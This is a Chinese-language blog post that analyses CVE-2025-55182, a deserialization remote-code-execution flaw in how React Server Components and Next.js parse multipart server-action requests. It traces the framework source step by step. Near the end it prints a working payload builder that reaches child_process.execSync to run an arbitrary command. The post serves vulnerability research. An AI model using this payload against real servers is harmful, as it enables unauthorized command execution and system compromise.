Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4
4022 字
20 分钟
CVE-2025-55182的深度解析
2026-02-14
统计加载中...

CVE-2025-55182深度解析#

跟完了React解析next-action头动作的全逻辑链,网上很少有全链的解析跟进

我算也是,浅浅涉足了一下React吧

1.React框架的next-action初步#

业务逻辑的跟进

关于next-action这个头,是一种函数身份的定位,也就是一串hax值,react框架构建以来,每个函数会绑定一串hax,作为标识符.

当然我的审计是从next-action的识别及后续开始的,所以我暂时不会在初步构建以及hax加密这块去做工作。

另外,为了加强文档可读性,我会较多换行。那就 START

if (actionId) {
const forwardedWorker = (0, _actionutils.selectWorkerForForwarding)(actionId, page, serverActionsManifest);
// If forwardedWorker is truthy, it means there isn't a worker for the action
// in the current handler, so we forward the request to a worker that has the action.
if (forwardedWorker) {
return {
type: 'done',
result: await createForwardedActionResponse(req, res, host, forwardedWorker, ctx.renderOpts.basePath)
};
}
}

其中selectWorkerForForwarding这个函数,溯源之后是.d.ts的声明文档,在同目录下的js文件处找到了源function。

function selectWorkerForForwarding(actionId, pageName, serverActionsManifest) {
var _serverActionsManifest__actionId;
const workers = (_serverActionsManifest__actionId = serverActionsManifest[process.env.NEXT_RUNTIME === 'edge' ? 'edge' : 'node'][actionId]) == null ? void 0 : _serverActionsManifest__actionId.workers;
const workerName = normalizeWorkerPageName(pageName);
// no workers, nothing to forward to
if (!workers) return;
// if there is a worker for this page, no need to forward it.
if (workers[workerName]) {
return;
}
// otherwise, grab the first worker that has a handler for this action id
return denormalizeWorkerPageName(Object.keys(workers)[0]);
}

这里的serverActionManifest参数类似一张actionid和worker进程的对应表单,下面就是return,其中denormalizeWorkerPagename是返回转发路径的。

也就是说,serverActionsManifest的action匹配的workers值被赋值给workers,然后denormalizeWorkerPageName将所有对应的workers的路径返回。

*/ function denormalizeWorkerPageName(bundlePath) {
return (0, _apppaths.normalizeAppPath)((0, _removepathprefix.removePathPrefix)(bundlePath, 'app'));
}

接下来就是1返回的createForwardedActionResponse,简化的最终请求就是

const response = await fetch(fetchUrl, {
method: 'POST',
body,
duplex: 'half',
headers: forwardedHeaders,
redirect: 'manual',
next: {
// @ts-ignore
internal: 1
}
});

body经过strearm之后可以分块读取数据,body是我们的req,headers是扒res的cookie之类的字段送过去

const forwardedHeaders = getForwardedHeaders(req, res);

以上,next-action的前置分析完成,再者就到了action的server接收以及解析。

2.action转发处理#

我会叙述multipart多块在进行worker转发之后的处理情况。

因为转发之后会带x-action-forwarded。那么就走的是handler-action的

isFetchAction分支,以下是如此分支的源码

因为分支有有效的有8段,以下会一一赘述

if (isFetchAction) {
// A fetch action with a multipart body.
boundActionArguments = await decodeReply(formData, serverModuleMap, {
temporaryReferences
});

依旧异步函数,等待decodeReply的return

if (isMultipartAction) {
if (isFetchAction) {
// A fetch action with a multipart body.
const busboy = require('next/dist/compiled/busboy')({
defParamCharset: 'utf8',
headers: req.headers,
limits: {
fieldSize: bodySizeLimitBytes
}
});

在这里走了多表单的分支,引入了busboy,这样可以以boundary分界之后进行解析。但是这里只是引入该行为,动作在后面。limit规定包大小范围

if (isFetchAction) {
const actionResult = await generateFlight(req, ctx, requestStore, {
actionResult: Promise.resolve(returnVal),
// if the page was not revalidated, or if the action was forwarded from another worker, we can skip the rendering the flight tree
skipFlight: !workStore.pathWasRevalidated || actionWasForwarded,
temporaryReferences
});
return {
type: 'done',
result: actionResult
};

这里因为不明白returnVal变量是什么,我们进行溯源。查找到returnVal是一个调用actionmod进行fetch的,也就是module,而查找其的函数如下

function getActionModIdOrError(actionId, serverModuleMap) {
var _serverModuleMap_actionId;
// if we're missing the action ID header, we can't do any further processing
if (!actionId) {
throw Object.defineProperty(new _invarianterror.InvariantError("Missing 'next-action' header."), "__NEXT_ERROR_CODE", {
value: "E664",
enumerable: false,
configurable: true
});
}
const actionModId = (_serverModuleMap_actionId = serverModuleMap[actionId]) == null ? void 0 : _serverModuleMap_actionId.id;
if (!actionModId) {
throw Object.defineProperty(new Error(`Failed to find Server Action "${actionId}". This request might be from an older or newer deployment.\nRead more: https://nextjs.org/docs/messages/failed-to-find-server-action`), "__NEXT_ERROR_CODE", {
value: "E665",
enumerable: false,
configurable: true
});
}
return actionModId;

在modluemap中找到action对应的modlue,然后返回hax。紧接着就是

const actionMod = await ComponentMod.next_app.require(actionModId);

如此对这个modlue进行异步include操作,也就是一定会回状态。

actionHandler = actionMod[actiomid]

接着这个modlue状态被用于参数actionHandler

const returnVal = await executeActionAndPrepareForRender(actionHandler, boundActionArguments, workStore, requestStore).finally(()=>{
addRevalidationHeader(res, {
workStore,
requestStore
});

这里executeActionAndPrepareForRender将action的modlue挂到状态上进行fetch server action,然后await结果。回到3

最后return的是包装完的flight数据流。也就是actionResult。

如此一来,action和表单的处理就完成了,也就是从二次转发到结束返回RSC数据的全流程,但是还差最后的,也就是busboy解析完成的字段。

最后返回的RSC数据流actionResult由Promise.resolve(returnVal),req,ctx,requeststore包装成flight.

其中的returnval逻辑

const returnVal = await executeActionAndPrepareForRender(actionHandler, boundActionArguments, workStore, requestStore).finally(()=>{
addRevalidationHeader(res, {
workStore,
requestStore
});
});

executeActionAndPrepareForRender函数将这些参数变量包装成响应格式返回,actionHandler有对应的模块信息,boundActionArguments便是muiltpart进busboy后过decodeReplyFromBusboy解析的结果。

至于我们的目标,也就是RCE,也发生在这一块。

3.muiltpart的server解析#

if (isFetchAction) {
// A fetch action with a multipart body.
const busboy = require('next/dist/compiled/busboy')({
defParamCharset: 'utf8',
headers: req.headers,
limits: {
fieldSize: bodySizeLimitBytes
}
});
// We need to use `pipeline(one, two)` instead of `one.pipe(two)` to propagate size limit errors correctly.
pipeline(sizeLimitedBody, busboy, // Avoid unhandled errors from `pipeline()` by passing an empty completion callback.
// We'll propagate the errors properly when consuming the stream.
()=>{});
boundActionArguments = await decodeReplyFromBusboy(busboy, serverModuleMap, {
temporaryReferences
});

前置我们已知busboy过decodeReplyFromBusboy解析后返回了boundActionArguments,body被pipeline进了busboy,这里busboy处理逻辑不做赘述。

因为

pipeline(sizeLimitedBody, busboy, // Avoid unhandled errors from `pipeline()` by passing an empty completion callback.
// We'll propagate the errors properly when consuming the stream.
()=>{});

所以参数busboy是作为流式数据源,serverModuleMap便是函数的映射表。

我们接着溯源到函数decodeReplyFromBusboy

exports.decodeReplyFromBusboy = function (
busboyStream,
webpackMap,
options
) {
var response = createResponse(
webpackMap,
"",
options ? options.temporaryReferences : void 0
),
pendingFiles = 0,
queuedFields = [];
busboyStream.on("field", function (name, value) {
0 < pendingFiles
? queuedFields.push(name, value)
: resolveField(response, name, value);
});
busboyStream.on("file", function (name, value, _ref2) {
var filename = _ref2.filename,
mimeType = _ref2.mimeType;
if ("base64" === _ref2.encoding.toLowerCase())
throw Error(
"React doesn't accept base64 encoded file uploads because we don't expect form data passed from a browser to ever encode data that way. If that's the wrong assumption, we can easily fix it."
);
pendingFiles++;
var JSCompiler_object_inline_chunks_251 = [];
value.on("data", function (chunk) {
JSCompiler_object_inline_chunks_251.push(chunk);
});
value.on("end", function () {
var blob = new Blob(JSCompiler_object_inline_chunks_251, {
type: mimeType
});
response._formData.append(name, blob, filename);
pendingFiles--;
if (0 === pendingFiles) {
for (blob = 0; blob < queuedFields.length; blob += 2)
resolveField(
response,
queuedFields[blob],
queuedFields[blob + 1]
);
queuedFields.length = 0;
}
});
});
busboyStream.on("finish", function () {
close(response);
});
busboyStream.on("error", function (err) {
reportGlobalError(response, err);
});
return getChunk(response, 0);
};

接收的busboystream便是busboy对象输出的数据流,webpackMap也就是映射,便是serverModuleMap,只是换了个名字。

接下来便是busboystream输出的分块表单,进行回调函数处理,并且设置了队列queuedFields

busboyStream.on("field", function (name, value) {
0 < pendingFiles
? queuedFields.push(name, value)
: resolveField(response, name, value);
});

4是控制field字段的队列,下面都是针对data为file情况的解析。

目光拉回creatResponse

var response = createResponse(
webpackMap,
"",
options ? options.temporaryReferences : void 0
),

溯源:

function createResponse(
bundlerConfig,
formFieldPrefix,
temporaryReferences
) {
var backingFormData =
3 < arguments.length && void 0 !== arguments[3]
? arguments[3]
: new FormData(),
chunks = new Map();
return {
_bundlerConfig: bundlerConfig,
_prefix: formFieldPrefix,
_formData: backingFormData,
_chunks: chunks,
_closed: !1,
_closedReason: null,
_temporaryReferences: temporaryReferences
};
}

webpackMap作为bundlerconfig传入,校验之后创建new formdata()对象

变量在这里再次更新后return

bundlerconfig,也就是webpackmap=_bundlerconfig。 _chunks变为new Map()对象.

_prefix为空字符串。

最后在这些状态挂在response对象的情况下进行getchunk

return getChunk(response, 0);

并且注意到挂载队列的处理函数是resolveField

溯源

function resolveField(response, key, value) {
response._formData.append(key, value);
var prefix = response._prefix;
key.startsWith(prefix) &&
((response = response._chunks),
(key = +key.slice(prefix.length)),
(prefix = response.get(key)) && resolveModelChunk(prefix, value, key));
}

这里response已经是挂载成一个集函数map的对象了,并且prefix因为是空字符恒成立,并且将response挂载为chunks

这里的chunks为一个空的对象。上面的key就是name字段,而response便是多表单为解析的空map()对象

这里区分一下,createResponse行为相对是单次的,而resolveField是每次表单执行一次

阶段来说。代码块8的response是有formdata和map两个空对象的

每次都将key和value字段存入formdata。但是另外的chunk开始是空的,也就是取不到key。

也就进不了resolveModelChunk分支。

但是每次decodeReplyFromBusboy结束前都会进一次getchunk。

继续跟进吧

4.表单核心解析#

源码如下

function getChunk(response, id) {
var chunks = response._chunks,
chunk = chunks.get(id);
chunk ||
((chunk = response._formData.get(response._prefix + id)),
(chunk =
null != chunk
? new Chunk("resolved_model", chunk, id, response)
: response._closed
? new Chunk("rejected", null, response._closedReason, response)
: createPendingChunk(response)),
chunks.set(id, chunk));
return chunk;
}

如此return的是一个chunk对象,并且会将它set进chunks,也就是_chunks块中。

也就是说,会将response=>也就是挂载了很多空或非空状态的对象挂载在对象chunk上。

并且chunk挂载在对象chunks上,chunks对应了挂载在response上的_chunks。

也就是说,这是一个循环引用。这样chunk引用也需要访问response的上下文,可以避免数据多次循环传输

也就是说,一个集合对象被循环挂载了,身上属性有id,chunk,以及response。

这里作为参数的chunk其实是来自formdata的字段值。最后return chunk(或者正在pending中)

然后回到函数resolveField

因为response和chunk对象是循环引用的,所以response.get(key),而key在这里又是name

又因为,每次都是一个新的状态,name对应的值对这条路来说是一次性的。

所以get到对应的chunk,赋值给prefix。

接下来就是esolveModelChunk(prefix, value, key));

value是name的值,key是name字段,prefix是chunk对象

function resolveModelChunk(chunk, value, id) {
if ("pending" !== chunk.status)
(chunk = chunk.reason),
"C" === value[0]
? chunk.close("C" === value ? '"$undefined"' : value.slice(1))
: chunk.enqueueModel(value);
else {
var resolveListeners = chunk.value,
rejectListeners = chunk.reason;
chunk.status = "resolved_model";
chunk.value = value;
chunk.reason = id;
if (null !== resolveListeners)
switch ((initializeModelChunk(chunk), chunk.status)) {
case "fulfilled":
wakeChunk(resolveListeners, chunk.value);
break;
case "pending":
case "blocked":
case "cyclic":
if (chunk.value)
for (value = 0; value < resolveListeners.length; value++)
chunk.value.push(resolveListeners[value]);
else chunk.value = resolveListeners;
if (chunk.reason) {
if (rejectListeners)
for (value = 0; value < rejectListeners.length; value++)
chunk.reason.push(rejectListeners[value]);
} else chunk.reason = rejectListeners;
break;
case "rejected":
rejectListeners && wakeChunk(rejectListeners, chunk.reason);
}
}
}

在chunk并不是pending状态下给chunk赋予多个属性

并且当value不为null时,调用函数initializeModelChunk

function initializeModelChunk(chunk) {
var prevChunk = initializingChunk,
prevBlocked = initializingChunkBlockedModel;
initializingChunk = chunk;
initializingChunkBlockedModel = null;
var rootReference =
-1 === chunk.reason ? void 0 : chunk.reason.toString(16),
resolvedModel = chunk.value;
chunk.status = "cyclic";
chunk.value = null;
chunk.reason = null;
try {
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(
chunk._response,
{ "": rawModel },
"",
rawModel,
rootReference
);
if (
null !== initializingChunkBlockedModel &&
0 < initializingChunkBlockedModel.deps
)
(initializingChunkBlockedModel.value = value),
(chunk.status = "blocked");
else {
var resolveListeners = chunk.value;
chunk.status = "fulfilled";
chunk.value = value;
null !== resolveListeners && wakeChunk(resolveListeners, value);
}

这里已经到达核心了,重点就是chunk的value,也就是name的value被带进了函数reviveModel

跟进

function reviveModel(response, parentObj, parentKey, value, reference) {
if ("string" === typeof value)
return parseModelString(
response,
parentObj,
parentKey,
value,
reference
);
if ("object" === typeof value && null !== value)
if (
(void 0 !== reference &&
void 0 !== response._temporaryReferences &&
response._temporaryReferences.set(value, reference),
Array.isArray(value))
)
for (var i = 0; i < value.length; i++)
value[i] = reviveModel(
response,
value,
"" + i,
value[i],
void 0 !== reference ? reference + ":" + i : void 0
);
else
for (i in value)
hasOwnProperty.call(value, i) &&
((parentObj =
void 0 !== reference && -1 === i.indexOf(":")
? reference + ":" + i
: void 0),
(parentObj = reviveModel(
response,
value,
i,
value[i],
parentObj
)),
void 0 !== parentObj ? (value[i] = parentObj) : delete value[i]);
return value;
}

五个参数分别是(

chunk._response,
{ "": rawModel },
"",
rawModel,
rootReference
)

rawModel就是上述的value。

这里走的string。进入value前缀特殊处理

function parseModelString(response, obj, key, value, reference) {
if ("$" === value[0]) {
switch (value[1]) {
case "$":
return value.slice(1);
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
case "F":
return (
(value = value.slice(2)),
(value = getOutlinedModel(
response,
value,
obj,
key,
createModel
)),
loadServerReference$1(
response,
value.id,
value.bound,
initializingChunk,
obj,
key
)
);
case "T":
if (
void 0 === reference ||
void 0 === response._temporaryReferences
)
throw Error(
"Could not reference an opaque temporary reference. This is likely due to misconfiguring the temporaryReferences options on the server."
);
return createTemporaryReference(
response._temporaryReferences,
reference
);
case "Q":
return (
(value = value.slice(2)),
getOutlinedModel(response, value, obj, key, createMap)
);
case "W":
return (
(value = value.slice(2)),
getOutlinedModel(response, value, obj, key, createSet)
);
case "K":
obj = value.slice(2);
var formPrefix = response._prefix + obj + "_",
data = new FormData();
response._formData.forEach(function (entry, entryKey) {
entryKey.startsWith(formPrefix) &&
data.append(entryKey.slice(formPrefix.length), entry);
});
return data;
case "i":
return (
(value = value.slice(2)),
getOutlinedModel(response, value, obj, key, extractIterator)
);
case "I":
return Infinity;
case "-":
return "$-0" === value ? -0 : -Infinity;
case "N":
return NaN;
case "u":
return;
case "D":
return new Date(Date.parse(value.slice(2)));
case "n":
return BigInt(value.slice(2));
}
switch (value[1]) {
case "A":
return parseTypedArray(response, value, ArrayBuffer, 1, obj, key);
case "O":
return parseTypedArray(response, value, Int8Array, 1, obj, key);
case "o":
return parseTypedArray(response, value, Uint8Array, 1, obj, key);
case "U":
return parseTypedArray(
response,
value,
Uint8ClampedArray,
1,
obj,
key
);
case "S":
return parseTypedArray(response, value, Int16Array, 2, obj, key);
case "s":
return parseTypedArray(response, value, Uint16Array, 2, obj, key);
case "L":
return parseTypedArray(response, value, Int32Array, 4, obj, key);
case "l":
return parseTypedArray(response, value, Uint32Array, 4, obj, key);
case "G":
return parseTypedArray(response, value, Float32Array, 4, obj, key);
case "g":
return parseTypedArray(response, value, Float64Array, 8, obj, key);
case "M":
return parseTypedArray(response, value, BigInt64Array, 8, obj, key);
case "m":
return parseTypedArray(
response,
value,
BigUint64Array,
8,
obj,
key
);
case "V":
return parseTypedArray(response, value, DataView, 1, obj, key);
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
}
switch (value[1]) {
case "R":
return parseReadableStream(response, value, void 0);
case "r":
return parseReadableStream(response, value, "bytes");
case "X":
return parseAsyncIterable(response, value, !1);
case "x":
return parseAsyncIterable(response, value, !0);
}
value = value.slice(1);
return getOutlinedModel(response, value, obj, key, createModel);
}
return value;
}

划出重点

case "$": return value.slice(1);
case "@":
obj = parseInt(value.slice(2), 16);
return getChunk(response, obj);
case "F":
value = value.slice(2);
value = getOutlinedModel(response, value, obj, key, createModel);
return loadServerReference$1(
response,
value.id,
value.bound,
initializingChunk,
obj,
key
);

这里的value第二位为F时的逻辑可以重点看看,取用name的值的第三位,去进行一个getOutlineModel

其中参数可以看看我的注释。

接着上文看看函数getOutlinedModel

function getOutlinedModel(response, reference, parentObject, key, map) {
reference = reference.split(":");
var id = parseInt(reference[0], 16);
id = getChunk(response, id);
switch (id.status) {
case "resolved_model":
initializeModelChunk(id);
}
switch (id.status) {
case "fulfilled":
parentObject = id.value;
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]];
return map(response, parentObject);
case "pending":
case "blocked":
case "cyclic":
var parentChunk = initializingChunk;
id.then(
createModelResolver(
parentChunk,
parentObject,
key,
"cyclic" === id.status,
response,
map,
reference
),
createModelReject(parentChunk)
);
return null;
default:
throw id.reason;
}
}

这里选择在getchunk里再跑一便返回过了处理的id和上下文response,相当于校验一遍。

然后确认renturn后的id状态,如果已经resolve就返回

这里也许有人会怀疑重复解析的问题,因为initializeModelChunk是传入的原点。

但是这忽略了value的再次引用重复解析,比如$2

传入一次就会再次解析一次,一直到solve。接着

分支fulfilled可以看到它在遍历我们的value,取值并且在map中转为统一格式。这条分支是已经解析完值取值的分支

看pending/blocked/cyclic分支,也就是没轮到块解析时,

会给chunk占位。看看处理函数的参数意味

createModelResolver(
parentChunk, // 谁在等(当前初始化的 chunk,比如 chunk8)
parentObject, // 要回填的那个对象(比如 chunk8.value 里的某个对象)
key, // 回填的字段名(比如 "_response" 或者数组下标)
"cyclic" === id.status, // 这次等待是否因为环(true/false)
response, // 解码上下文(包含 _chunks/_formData/_prefix 等)
map, // 映射函数(把取到的值进一步 revive/包装)
reference // 引用路径数组,比如 ["7"] 或 ["2","then"]
) {
if (initializingChunkBlockedModel) {
var blocked = initializingChunkBlockedModel;
cyclic || blocked.deps++;
} else
blocked = initializingChunkBlockedModel = {
deps: cyclic ? 0 : 1,
value: null
};
return function (value) {
for (var i = 1; i < path.length; i++) value = value[path[i]];
parentObject[key] = map(response, value);
"" === key &&
null === blocked.value &&
(blocked.value = parentObject[key]);
blocked.deps--;
0 === blocked.deps &&
"blocked" === chunk.status &&
((value = chunk.value),
(chunk.status = "fulfilled"),
(chunk.value = blocked.value),
null !== value && wakeChunk(value, blocked.value));
};
}

这里是算block的依赖的,如果依赖被使用就欠着。 如果 deps==0,就把父 chunk 从 blocked 变 fulfilled,并唤醒等待它的人 。

导致模型可以调用,进一步导致了可以绕过waf,比如prototype和construct

等。进一步加深了CVE-2025-55812的危害,以及衍生的55813等等。

function get_payload_body(cmd) {
const s = JSON.stringify.bind(JSON);
const payload = {
0: {
"status": "resolved_model",
"then": "$1:then",
"_response": "$5",
"value": s({
"_preloads": ["$8"],
"then": "$2:map",
"0": "$a",
"length": 1
}),
"reason": 0,
},
1: "$@0",
// array
2: [],
// _temporaryReferences
3: {
"length": 0,
"set": "$2:push"
},
// Module._load
4: {
"id": "foo",
"bound": ["child_process"]
},
5: {
"_bundlerConfig": {
"foo": { "id": "module", "name": "_load", "chunks": [] }
},
"_prefix": "$1:_response:_prefix",
"_formData": "$1:_response:_formData",
"_chunks": "$1:_response:_chunks"
},
6: "$F4",
// fake response for getting child_process
7: {
"_prefix": "",
"_chunks": "$1:_response:_chunks",
"_formData": {
"get": "$6",
}
},
8: {
"_prefix": "",
"_chunks": "$1:_response:_chunks",
"_formData": "$1:_response:_formData",
// use _temporaryReferences to push all reason, used to deliver child_process
"_temporaryReferences": "$3",
},
9: {
"_prefix": `${cmd} ; #`,
"_chunks": "$1:_response:_chunks",
"_formData": {
"get": "$3:1:execSync", // execSync
},
},
10: {
"status": "resolved_model",
"then": "$1:then",
"_response": "$7",
"reason": -1,
"value": s({
"status": "resolved_model",
"then": "$1:then",
"reason": {
"0": "$B33", // emit, reason will be child_process
"length": 1,
"toString": "$2:pop"
},
"_response": "$8", // reason will be stored in _temporaryReferences
"value": s({
"status": "resolved_model",
"then": "$1:then",
"_response": "$9",
"reason": -1,
"value": s(["$B77"]), // emit result
}),
}),
},
}
const formdata = newFormData();
for (const [key, value] ofObject.entries(payload)) {
formdata.append(key, s(value));
}
return formdata;
}

0块占位之后,让1引用0未解析的原片段,然后这样可以进入pending分支,这样

可以启动时稳定路径。然后就是一步步用chunk去改映射,然后拿到可以执行命令的对象。

大体上的核心反序列也就是调用.then和chunk对象的映射。

跟这么长的链子花了我不少功夫,但也不失一些乐趣吧,今天还是情人节~

もし,人と人繋がっていたら,

Then I should be in that golden wheat field

My Dear MoMoru

img

CVE-2025-55182的深度解析
https://steins-gate.cn/posts/cve-2025-55182/
作者
萦梦sora~X
发布于
2026-02-14
许可协议
Unlicensed

部分信息可能已经过时